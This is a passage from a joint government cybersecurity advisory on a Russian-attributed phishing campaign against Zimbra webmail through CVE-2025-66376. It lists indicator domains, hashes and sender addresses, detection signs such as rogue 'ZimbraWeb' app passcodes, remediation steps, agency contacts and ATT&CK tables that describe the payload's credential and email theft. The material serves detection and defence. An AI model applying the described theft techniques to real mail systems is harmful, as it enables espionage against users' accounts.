<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>c5a72420e7bb308d078e62128430897f82194c95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>20 Aug 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>14 Oct 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8959c4d29e29f02ea94ea8bb21c8df2594c5549d </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>24 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>8 Nov 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>62eb76432597694edb01c1fe57aab0cfe03a7178 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>25 Sep 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>27 Sep 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>cddf5c3be1e07f28140aed165b929bf2d614922a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Nov 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>17 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>18 Dec 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>28 Dec 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>1b25041ececf2457eef0270fc1d785cec8ec9ded </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>21 Jan 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>10 Feb 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>e4fe6466a4f9a4249fe330651e914e45bbdca44a </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>5 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>22 Mar 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>*.i.istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>b6b77c9a455225d525834a403ca9ef5481ed0447 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>12 Feb 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW66173475 BCX8">
<div class="OutlineElement Ltr SCXW66173475 BCX8">
<p>30 Mar 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:</p>
<ul>
<li>ivanka.zurabishvili@proton[.]me,</li>
<li>zmul1@buildandconsulting[.]com,</li>
<li>garrysmithme@pinmx[.]net, and</li>
<li>hostingclient@pinmx[.]net.</li>
</ul>
<h4><strong>Phishing distribution</strong></h4>
<p>LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  </p>
<p>The following email addresses have distributed payloads attributed to this campaign:</p>
<ul>
<li>c.laurent.ejfa@proton[.]me,</li>
<li>j.moreau.epsc@proton[.]me,</li>
<li>liberty.insights@proton[.]me,</li>
<li>certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and</li>
<li>certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).</li>
</ul>
<p>Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:</p>
<ul>
<li>98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,</li>
<li>60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,</li>
<li>b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and</li>
<li>1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.</li>
</ul>
<h4><strong>Post-compromise artifacts</strong></h4>
<p>Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.</p>
<p>This <em>Ulej </em>capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the <em>/opt/zimbra/log/mailbox.log</em> file [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. A significant amount of SOAP request activity that aligns with what was described in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> and <a href="https://www.cisa.gov/#collection1">Collection</a> sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:</p>
<ul>
<li>Many <em>SearchGalRequest </em>command requests from a single user over a short period of time;</li>
<li>Use of the <em>CreateAppSpecificPasswordRequest</em> command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and</li>
<li>Use of the GetScratchCodesRequest command.</li>
</ul>
<p>While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [<a href="https://d3fend.mitre.org/technique/d3f:ProcessAnalysis" target="_blank">D3-PA</a>]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of <em>zd_comp_YYYY-MM-DD,</em> as explained in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory.</p>
<p>While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”</p>
<p>In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [<a href="https://d3fend.mitre.org/technique/d3f:MessageAnalysis" target="_blank">D3-MA</a>]. If an email that has a payload exploiting <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a> is discovered, <strong>steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  </strong></p>
<h3><em><strong>Remediation</strong></em></h3>
<p>In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>.</p>
<p>Organizations should use identifiers from the <a href="https://www.cisa.gov/#ioc1">IOCs</a> section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.</p>
<p>All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#EstablishMinimumPasswordStrength3B">CPG 3.B</a>] and creating unique credentials [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#CreateUniqueCredentials3C">CPG 3.C</a>], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.</p>
<h2><strong>Works cited</strong></h2>
<p>[1<a class="ck-anchor"></a>] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. <a href="https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf" target="_blank">https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf</a></p>
<p>[2]<a class="ck-anchor"></a> Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. <a href="https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/" target="_blank">https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/</a></p>
<p>[3]<a class="ck-anchor"></a> Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. <a href="https://unit42.paloaltonetworks.com/russian-webmail-espionage/">https://unit42.paloaltonetworks.com/russian-webmail-espionage/ </a></p>
<p>[4]<a class="ck-anchor"></a> Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. <a href="https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit">https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit</a></p>
<p>[5]<a class="ck-anchor"></a> Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. <a href="https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/" target="_blank">https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  </a></p>
<h2><strong>Footnotes</strong></h2>
<p><sup>1</sup><a class="ck-anchor"></a> Národní úřad pro kybernetickou a informační bezpečnost<br><sup>2</sup><a class="ck-anchor"></a><sup> </sup>Forsvarets Efterretningstjeneste<br><sup>3</sup><a class="ck-anchor"></a><sup> </sup>Välisluureamet<br><sup>4</sup><a class="ck-anchor"></a> Sotilastiedustelu<br><sup>5</sup><a class="ck-anchor"></a><sup> </sup> Suojelupoliisi<br><sup>6</sup><a class="ck-anchor"></a> Direction générale de la sécurité intérieure<br><sup>7</sup><a class="ck-anchor"></a> Agence nationale de la sécurité des systèmes d’information<br><sup>8</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Esterna<br><sup>9</sup><a class="ck-anchor"></a> Agenzia Informazioni e Sicurezza Interna<br><sup>10</sup><a class="ck-anchor"></a> Serviciul de Informații și Securitate al Republicii Moldova<br><sup>11 </sup><a class="ck-anchor"></a>Agencja Wywiadu<br><sup>12</sup><a class="ck-anchor"></a><sup> </sup>Służba Kontrwywiadu Wojskowego<br><sup>13</sup><a class="ck-anchor"></a><sup> </sup>Centro Nacional de Inteligencia<br><sup>14 </sup><a class="ck-anchor"></a>Nationellt Cybersäkerhetscenter<br><sup>15</sup><a class="ck-anchor"></a> MITRE and ATT&amp;CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.</p>
<h2><strong>Acknowledgements</strong></h2>
<p>The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.</p>
<h2><strong>Disclaimer of endorsement</strong></h2>
<p>The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.</p>
<p>Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.</p>
<h2><strong>Purpose</strong></h2>
<p>This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.</p>
<h2><strong>Contact</strong></h2>
<div class="SCXW95230887 BCX8">
<div class="OutlineElement Ltr SCXW95230887 BCX8">
<p><strong>United States organizations </strong></p>
<ul>
<li><strong>National Security Agency</strong> <br>Cybersecurity Report Feedback: <a href="mailto:CybersecurityReports@nsa.gov" target="_blank"><u>CybersecurityReports@nsa.gov</u></a> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DIB_Defense@cyber.nsa.gov" target="_blank"><u>DIB_Defense@cyber.nsa.gov</u></a> <br>Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, <a href="mailto:MediaRelations@nsa.gov" target="_blank"><u>MediaRelations@nsa.gov</u></a> </li>
<li><strong>Cybersecurity and Infrastructure Security Agency</strong> <br>CISA’s 24/7 Operations Center (<a href="mailto:contact@cisa.dhs.gov" target="_blank"><u>contact@cisa.dhs.gov</u></a>), or by calling 1-844-Say-CISA (1-844-729-2472). </li>
<li><strong>Federal Bureau of Investigation</strong> <br>If you or someone you know has fallen victim to this campaign, file a complaint with <a class="Hyperlink SCXW95230887 BCX8" href="https://www.ic3.gov/" target="_blank" rel="noreferrer noopener"><u>IC3</u></a>. </li>
<li><strong>Defense Counterintelligence and Security Agency </strong> <br>DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: <a href="mailto:DCSA.CI.CyberOps@mail.mil" target="_blank"><u>DCSA.CI.CyberOps@mail.mil</u></a> <br>Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. <br>Media/Public Inquiries: <a href="mailto:dcsa.quantico.dcsa-hq.mbx.pa@mail.mil" target="_blank"><u>dcsa.quantico.dcsa-hq.mbx.pa@mail.mil</u></a>  </li>
<li><strong>Department of Defense Cyber Crime Center </strong> <br>Defense Industrial Base Inquiries and Cybersecurity Services: <a href="mailto:DC3.DCISE@us.af.mil" target="_blank"><u>DC3.DCISE@us.af.mil</u></a> <br>Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at <a href="https://dibnet.dod.mil/" target="_blank"><u>https://dibnet.dod.mil</u></a> <br>Media Inquiries / Press Desk: <a href="mailto:DC3.Information@us.af.mil" target="_blank"><u>DC3.Information@us.af.mil</u></a> </li>
<li><strong>Naval Criminal Investigative Service</strong> <br>To report criminal activity impacting the United States Navy, go to <a href="http://www.ncis.navy.mil/" target="_blank"><u>www.ncis.navy.mil</u></a> and click “Submit a Tip”</li>
</ul>
<p><strong>Dutch organizations</strong> </p>
<ul>
<li>Defence Intelligence and Security Service (MIVD): <a href="https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid" target="_blank"><u>https://www.defensie.nl/onderwerpen/m/militaire-inlichtingen-en-veiligheid</u></a>  </li>
<li>General Intelligence and Security Service (AIVD): <a href="https://www.aivd.nl/" target="_blank"><u>https://www.aivd.nl</u></a> </li>
</ul>
<p><strong>Australian organizations </strong></p>
<ul>
<li>Australian Signals Directorate <br>Visit <a href="https://www.cyber.gov.au/about-us/about-asd-acsc/contact-us#no-back" target="_blank"><u>cyber.gov.au</u></a> or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. </li>
</ul>
<p><strong>Canadian organizations </strong></p>
<ul>
<li>The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  <br>Report an incident or suspicious activity to the Cyber Centre by email at <a href="mailto:contact@cyber.gc.ca" target="_blank"><u>contact@cyber.gc.ca</u></a>, online via the reporting tool <a href="https://www.cyber.gc.ca/en/incident-management" target="_blank"><u>Report a cyber incident - Canadian Centre for Cyber Security</u></a> or by phone at 1-833-CYBER-88 (1-833-292-3788). </li>
</ul>
<p><strong>New Zealand organizations </strong></p>
<ul>
<li>New Zealand National Cyber Security Centre (NCSC-NZ): <a href="mailto:info@ncsc.govt.nz" target="_blank"><u>info@ncsc.govt.nz</u></a> </li>
</ul>
<p><strong>United Kingdom organizations </strong></p>
<ul>
<li>Report significant cyber security incidents to <a href="https://ncsc.gov.uk/report-an-incident" target="_blank"><u>ncsc.gov.uk/report-an-incident</u></a> (monitored 24/7) </li>
</ul>
<p><strong>Estonia organizations </strong></p>
<ul>
<li>Estonian Foreign Intelligence Service (EFIS): <a href="mailto:info@valisluureamet.ee" target="_blank"><u>info@valisluureamet.ee</u></a> </li>
</ul>
<p><strong>Finnish organizations </strong></p>
<ul>
<li>Finnish Security and Intelligence Service: <a href="https://supo.fi/en/contact" target="_blank"><u>supo.fi/en/contact</u></a> </li>
</ul>
<p><strong>French organizations </strong></p>
<ul>
<li>French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: <a href="mailto:cert-fr@ssi.gouv.fr" target="_blank"><u>cert-fr@ssi.gouv.fr</u></a> or by phone at: 3218 or +33 9 70 83 32 18. </li>
</ul>
<p><strong>Italian Organizations </strong></p>
<ul>
<li>Italian External Intelligence and Security Agency (AISE):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a>  </li>
<li>Italian Internal Intelligence and Security Agency (AISI):  <br>Visit <a href="https://www.sicurezzanazionale.gov.it/" target="_blank"><u>https://www.sicurezzanazionale.gov.it/</u></a> </li>
</ul>
<div class="OutlineElement Ltr SCXW214395380 BCX8">
<p><strong>Moldovan organizations </strong></p>
</div>
<div class="ListContainerWrapper SCXW214395380 BCX8">
<ul type="disc">
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM): <a href="mailto:cybersec@sis.md" target="_blank"><u>cybersec@sis.md</u></a> </li>
</ul>
</div>
<p><strong>Polish organizations </strong></p>
<ul>
<li>Polish Foreign Intelligence Agency (AW): <a href="mailto:ctiteam@aw.gov.pl" target="_blank"><u>ctiteam@aw.gov.pl</u></a></li>
</ul>
</div>
</div>
<h2><strong>Appendix A: MITRE ATT&amp;CK tactics and techniques</strong><a class="ck-anchor"></a></h2>
<p>See <a href="https://www.cisa.gov/#table9"><strong>Table 9</strong></a> through <a href="https://www.cisa.gov/#table19"><strong>Table 19</strong></a> for all the threat actor tactics and techniques referenced in this advisory.<a class="ck-anchor"></a></p>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 9: Reconnaissance </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Credentials </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank"><u>T1589.001</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to intercept a victim’s password from their password manager. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Gather Victim Identity Information: Email Addresses </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank"><u>T1589.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The payload attempts to grab the victim’s email address from various data stores. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Websites/Domains </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank"><u>T1593</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group likely leverages public information to support target development. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Active Scanning </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank"><u>T1595</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Port scanning can be used by this group to assist with determining exploitability of identified targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Open Technical Databases: Scan Databases </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank"><u>T1596.005</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Various public datasets can provide information to support discovery of exploitable targets. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank"><u>T1597</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Previously exfiltrated data can be used to enhance target development efforts. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Search Closed Sources: Purchase Technical Data </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank"><u>T1597.002</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Commercial datasets can also be used to support target development efforts. </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<div class="TableContainer Ltr SCXW76044448 BCX8">
<div class="WACAltTextDescribedBy SCXW76044448 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 10: Resource Development </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Technique Title</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>ID</strong> </p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p class="text-align-center"><strong>Use</strong> </p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/" target="_blank"><u>T1583</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Acquire Infrastructure: Virtual Private Server </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank"><u>T1583.003</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>This group procured VPS servers from a variety of vendors. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p><a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank"><u>T1587</u></a> </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>The <em>Ulej</em> capability was developed likely for use by this group to conduct spear phishing campaigns. </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
<p>Develop Capabilities: Malware </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW76044448 BCX8">
<div class="OutlineElement Ltr SCXW76044448 BCX8">
